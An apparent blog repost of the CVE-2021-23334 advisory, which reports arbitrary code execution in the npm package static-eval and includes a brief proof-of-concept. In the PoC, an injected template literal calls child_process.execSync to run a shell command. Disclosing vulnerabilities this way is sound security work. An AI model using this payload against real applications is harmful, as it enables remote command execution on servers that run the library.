CVE-2021-23334

CVE-2021-23334

All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals.

PoC:

var evaluate = require(‘static-eval’);
var parse = require(‘esprima’).parse;

var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load(‘child_process’).execSync(‘ls’).toString())")} })()"
var ast = parse(src).body[0].expression;
evaluate(ast)

Source: CVE-2021-23334

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다

Time limit is exhausted. Please reload the CAPTCHA.